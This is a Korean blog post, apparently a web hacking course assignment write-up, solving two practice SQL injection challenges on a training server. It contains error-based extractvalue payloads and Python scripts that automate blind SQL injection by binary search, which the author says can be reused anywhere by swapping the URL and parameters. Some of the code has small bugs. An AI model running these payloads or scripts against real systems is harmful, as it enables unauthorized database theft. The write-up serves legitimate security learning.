본문 바로가기

웹 해킹

웹 해킹 공부 일기장 3 - 과제 (챌린지2)

3. flag를 찾아라

 

1) SQL Injection 포인트 찾기

아이디: normaltic

비밀번호: 1234

 

정상적으로 로그인 시 다른 챌린지와 마찬가지로 redirect로 index.php로 이동시켜줍니다.

 

에러 메시지 출력 확인

 

normaltic'을 입력하니 우리가 생각한데로 문법에러가 화면에 출력됩니다.

 

로직 에러 발생

 

extractvalue함수를 사용해서 로직에러가 발생하는지도 확인해보았습니다.

 

select 사용 가능 확인

 

우리가 원하는 데이터를 화면에 출력하기 위해 select를 사용할 수 있는지 확인까지 해보니 전부 사용가능합니다.

 

 

2) 공격 format 만들기

위에서 select 'test' 부분에 우리가 원하는 SQL 구문만 넣어주면 될 것입니다.

' and extractvalue('1', concat(0x3a, (__SQL__))) #

 

공격 포맷 만들기도 끝났습니다.

 

 

3) DB 이름 확인

select schema_name from information_schema.schemata 로 모든 데이터베이스 이름을 확인하겠습니다.

' and extractvalue('1', concat(0x3a, (select schema_name from information_schema.schemata limit 0,1))) #

데이터베이스 이름 확인

 

데이터베이스 이름
information_schema
sqli_2_2

 

 

4) Table 이름 확인

sqli_2_2 데이터베이스에 flag가 있을 것 같으니 

select table_name from information_schema.tables where table_schema='sqli_2_2'

' and extractvalue('1', concat(0x3a, (select table_name 
from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) #

테이블 이름 확인

데이터베이스 이름 테이블 이름
sqli_2_2 flagTable_this
sqli_2_2 member

 

 

5) 컬럼 이름 확인

flagTable_this에 flag가 있을 것 같습니다.

select column_name from information_schema.columns where table_name='flagTable_this'

' and extractvalue('1', concat(0x3a, (select column_name 
from information_schema.columns where table_name='flagTable_this' limit 0,1))) #

컬럼 이름 확인

테이블 이름 컬럼 이름
sqli_2_2.flagTable_this idx
sqli_2_2.flagTable_this flag

 

 

6) 데이터 추출

flag 컬럼을 확인하면 될 것 같습니다.

select flag from flagTable_this

' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 0,1))) #

 

위의 공격 포맷을 입력해보는데 flag 컬럼에 여러 데이터가 저장되어있는 것 같습니다.

 

일단 몇 개의 행이 저장되어있는지 모르니 count 함수를 사용하여 몇 개의 행이 있는지 출력해보겠습니다.

결과로 나온 행에 대해 우리가 일일이 해보기 힘드니 파이썬으로 요청을 보내는 코드를 만들었습니다.

(미리 개수 구하는 것부터 파이썬으로 만듦...)

import requests

# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_2_2/login.php"

# POST요청에 같이 보낼 data 
params = {
   'UserId': "normaltic",
   'Password': '1234',
   'Submit': 'Login'
}

# 아이디를 우리가 만든 공격 포맷으로 바꿔줌
params['UserId'] = "' and extractvalue(1, concat(0x3a, (select count(*) from flagTable_this))) #"
response = requests.post(url, data=params)

# 결과 출력
print(response.text)
# 결과: Could not update data: XPATH syntax error: ':17'

 

결과가 17이 나오는 것을 보니 17개의 데이터가 flag행에 저장되어있습니다.

 

그럼 17번 반복해서 아래의 요청을 보내보면 될 것같습니다. (물론 limit 0,1 을 limit 1,1 ... limit 16,1 까지 바꿔가며...)

' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 0,1))) #

limit를 바꿔줘야 전체 행에 들어있는 데이터를 볼 수 있을 것입니다.

import requests

# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_2_2/login.php"

# POST요청에 같이 보낼 data 
params = {
   'UserId': "normaltic",
   'Password': '1234',
   'Submit': 'Login'
}

# 17번 반복
for i in range(17):
   # 반복마다 limit를 바꾸어 줌
   params['UserId'] = f"' and extractvalue(1, concat(0x3a, (select flag from flagTable_this limit {i},1))) #"
   response = requests.post(url, data=params)
   result = response.text
   # 우리가 원하는 출력 부분이 error: 뒷 부분이기 때문에 결과에서 'error:' 뒷 부분만 출력
   a = result.split('error:')[-1]
   print(a)

 

위의 코드처럼 자동으로 짜서 결과를 확인해보았습니다.

 

우리는 챌린지를 통해 풀기때문에 데이터베이스와 테이블, 컬럼들은 별로 없었지만 만약 실제로 몇 개가 될지 모르는 경우에는 마지막에 한 것처럼 개수를 먼저 구하고 마지막 자동화한 것처럼 해야할 것 같습니다.

 

4. Flag를 찾아라

 

1) SQL Injection 포인트 찾기

아이디: normaltic

비밀번호: 1234

 

정상적으로 로그인하니 다른 페이지와 마찬가지로 redirect 하면서 index.php로 이동시켜 줍니다.

오류 발생 출력 확인

오류를 발생시킬 거라 생각했던 입력을 넣어도 에러 메시지는 출력되지 않고 실패했다는 결과만 나옵니다.

그럼 Error Based SQLI는 사용을 못할 것 같고

또한, normaltic을 정상적으로 로그인해도 SQL의 결과가 화면에 출력되지는 않기 때문에 UNION SQLI 도 사용하지 못합니다.

그럼 결국 마지막 방법인 Blind SQLI를 사용해서 데이터를 추출할 수 밖에 없을 것 같습니다.

 

실패 시 warning! Incorrect information이 뜨는 것을 통해 로그인 성공과 실패 시 결과가 다른 것을 사용해 Blind SQLI를 사용할 수 있습니다.

 

 

2) select 문 사용가능한지 확인

select 문 사용 가능 확인

(select 'test') = 'test'를 넣어 해당 부분이 참이 되게 하고 앞에 적어준 normaltic으로 계정 로그인이 되는지 확인해보았습니다.

302 응답코드로 index.php로 이동시켜주는 거 보니 정상적으로 로그인이 되는 것 같습니다.

그럼 이 부분은 SQL Injection이 가능한 부분이며 select까지 사용할 수 있다는 것을 확인했습니다.

 

 

3) 공격 format 만들기

위에 and 뒤에 부분을 우리가 원하는 질의문으로 바꿔주면 될 것입니다.

// 우리가 가져온 데이터의 첫 글자의 아스키코드값은 0보다 크니?
normaltic' and(ord(substr((__SQL__), 0, 1)) > 0) #

 

이번 문제는 직접 하나씩 하지 않고 자동화 코드를 만들어서 해결해보겠습니다.

 

 

4) DB 이름 확인

import requests

# 요청을 보낼 주소
url = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"

# 요청에 포함시킬 데이터
params = {
   'UserId': "normaltic",
   'Password': '1234',
   'Submit': 'Login'
}

# DB 글자 수 확인하는 함수 url, params를 넣어줘서 요청보내기
def findDbLength(url, params):
    i = 0
    # 글자 수 구하는 SQL
    sql = "select length(database())"
	# 0 부터 증가시키며 글자수가 맞을 경우 참이 되어 incorrect가 포함되지 않는 것을 활용
    while(True):
        lengthSearchFormat = f"normaltic' and (({sql}) = {i}) #"
        params['UserId'] = lengthSearchFormat
        response = requests.post(url, data=params)
        if 'Incorrect' not in(response.text):
        	# 참이 되면 글자수 리턴시켜줌
            return i
        i += 1

# 데이터베이스 글자 수 구하는 함수 실행        
dbLength = findDbLength(url, params)
print(dbLength)
# DB의 길이와 url, params를 인자로 받아 데이터베이스 길이 구하는 함수
def findDb(dbLength, url, params):
    dbName = ''
    # 실행할 SQL 
    sql = "select database()"
    # 데이터베이스 길이만큼 반복
    for i in range(1, dbLength+1):
        ascii = [33, 127]
        # 한 글자 구할때까지 반복
        while(True):
        	# 아스키의 중앙값을 구해 그것보다 큰지 확인
            center = int(sum(ascii) // 2)
            attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
            params['UserId'] = attackFormat
            response = requests.post(url, data=params)
			
            # 우리가 원하는 글자가 위치하는 범위 줄여주기
            if 'Incorrect' not in(response.text):
                ascii[0] = center
            else: ascii[1] = center
            
            # 만약 범위가 둘 중 한개로 좁혀질 경우 둘 중 어느 값이 우리가 찾는 값인 지 확인
            if ascii[1]-ascii[0] == 1:
                attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
                params['UserId'] = attackFormat
                response = requests.post(url, data=params)
                # 우리가 찾은 글자를 결과에 추가시키기
                if 'Incorrect' not in(response.text):
                    dbName += chr(ascii[0])
                    break
                else: 
                    dbName += chr(ascii[1])
                    break
	# 데이터베이스 이름 리턴
    return dbName

// 데이터베이스 글자수 구한 것과 함께 인자로 넣어주어 함수 실행
dbName = findDB(dbLength, url, params)
print(dbName)

 

 

5) Table 이름 확인

위에서 하다 느낀 것이 길이를 구할 필요 없이 우리가 요청할 때 해당 글자가 아스키코드로 표현한 값이 0보다 크지 않을 경우 해당값이 없다는 소리이므로 0보다 크지않을 때 멈추면 될 것 같습니다.

# 데이터베이스 이름을 인자로 넣어주어 데이터베이스에 속해 있는 테이블 이름 확인
def findTable(dbName, url, params):
    tableName = ''
    i = 0
    sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit 0, 1"
    while(True):
        ascii = [33, 127]
        i += 1
        # 모든 글자 확인할 때 0보다 큰지 확인하여 글자의 끝인지 확인
        attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > 0) #"
        params['UserId'] = attackFormat
        response = requests.post(url, data=params)

        # 글자가 끝인 경우 거짓으로 Incorrect가 응답에 포함되면 테이블 이름 확인 종료
        if 'Incorrect' in(response.text):
            break

        # 데이터베이스 이름 확인하는 것과 똑같이하여 테이블 이름 확인
        while(True):
            center = int(sum(ascii) // 2)
            attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
            params['UserId'] = attackFormat
            response = requests.post(url, data=params)

            if 'Incorrect' not in(response.text):
                ascii[0] = center
            else: ascii[1] = center
            
            
            if ascii[1]-ascii[0] == 1:
                attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
                params['UserId'] = attackFormat
                response = requests.post(url, data=params)
                if 'Incorrect' not in(response.text):
                    tableName += chr(ascii[0])
                    break
                else: 
                    tableName += chr(ascii[1])
                    break
    # 결과 테이블 리턴
    return tableName
    
# 앞에서 구한 데이터베이스 이름을 통해 함수 실행
tableName = findTalbe(dbName, url, parmas)
print(tableName)

 

 

6) 컬럼 이름 확인

이때까지 확인하면서 느끼셨을 것인데 똑같은 코드가 계속 반복됩니다.

즉, sql 빼고는 나머지는 같은 방식으로 작동하며 결과를 출력합니다.

그래서 생각한 것이 sql만 입력 받으면 나머지는 똑같이 작동하게 하면 될 것같습니다.

# sql에 따른 원하는 데이터 추출하는 함수
def searchDatabaseWithSql(sql, url, params):
    result = ''
    i = 0
    while(True):
        ascii = [33, 127]
        i += 1
        # 각 글자마다 0보다 큰지 확인하여 글자의 끝인지 확인
        attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > 0) #"
        params['UserId'] = attackFormat
        response = requests.post(url, data=params)

        if 'Incorrect' in(response.text):
            break
		
        # 이진 탐색을 사용하여 최소한의 요청으로 데이터 찾기
        while(True):
            center = int(sum(ascii) // 2)
            attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) > {center}) #"
            params['UserId'] = attackFormat
            response = requests.post(url, data=params)

            if 'Incorrect' not in(response.text):
                ascii[0] = center
            else: ascii[1] = center
            
            
            if ascii[1]-ascii[0] == 1:
                attackFormat = f"normaltic' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) #"
                params['UserId'] = attackFormat
                response = requests.post(url, data=params)
                if 'Incorrect' not in(response.text):
                    result += chr(ascii[0])
                    break
                else: 
                    result += chr(ascii[1])
                    break
    # 결과 리턴
    return result

# 컬럼 구하는 sql 작성 후 해당 sql로 데이터 찾는 함수 실행
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit 0, 1"
columnName = searchDatabaseWithSql(sql, url, params)
print(columnName)

 

이렇게 작성하니 sql에 우리가 원하는 데이터를 가져오는 sql만 작성하면 알아서 데이터베이스, 테이블, 컬럼, 데이터 상관없이 실행할 수 있습니다.

 

7) flag 가져오기

# 데이터베이스 이름 가져오기
sql = f"select database()"
dbName = searchDatabaseWithSql(sql, url, params)
print(dbName)

# 테이블 이름 가져오기
sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit 0, 1"
tableName = searchDatabaseWithSql(sql, url, params)
print(tableName)

# 컬럼 이름 가져오기
sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit 0, 1"
columnName = searchDatabaseWithSql(sql, url, params)
print(columnName)

# 데이터 가져오기
sql = f"select {columnName} from {tableName} limit 0, 1"
data = searchDatabaseWithSql(sql, url, params)
print(data)

 

이렇게 하니 함수 하나로 원하는 데이터를 가져오는 sql 만 넣어주니 해당 데이터가 뚝딱 출력됩니다.

약 20초 정도면 데이터가져오기까지 성공하네요!

 

Blind SQL Injection 자동화까지 만들어보았습니다.

만약, 다른 곳에서 사용할 경우에는 url과 params를 바꿔주고 참과 거짓을 비교할 수 있는 문자만 바꿔주면 어디든 사용할 수 있을 것 같습니다.

 

다음 수업때 SQL Injection 자동화, 노하우, ...등 좀 더 쉽고 정확하게 할 수 있는 방법에 대해 수업한다고 합니다.

과제도 끝마쳤고 다음 블로그로 찾아뵙겠습니다.